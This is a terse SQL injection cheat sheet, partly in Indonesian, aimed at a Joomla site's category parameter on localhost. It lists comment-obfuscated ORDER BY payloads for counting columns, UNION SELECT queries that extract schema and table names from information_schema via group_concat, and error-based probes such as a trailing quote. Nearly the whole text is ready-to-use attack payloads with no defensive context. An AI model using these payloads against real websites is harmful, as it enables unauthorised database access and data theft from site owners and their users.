SQLi Injection 1337

/*/
/**/
/*.*/

order+by
77/*/order/*/by/*/27--
=77/**/order/**/by/**/27--
=77/*.*/order/*.*/by/*.*/27--
having
group by
show by

union select 1,2,3,4,5,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
- <<-- awal perintah
-- akhir perintah
FROM information_schema
schemata
FROM information_schema.schemata--

UNION SELECT 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17,18,1
9,20,21,22,23,24,25,26 FROM information_schema.schemata--
http://localhost/nama folder joomla kalian/index.php/hacking-faq?view=category&id=77 UNION SELECT

1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 FROM information_schema.tables WHERE table_schema=database()--

http://localhost/nama folder joomla kalian/index.php/hacking-faq?view=category&id=-77 UNION SELECT 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 FROM information_schema.tables WHERE table_schema=database()--


error bases
category&id=77'
category&id=-77
category&id=.77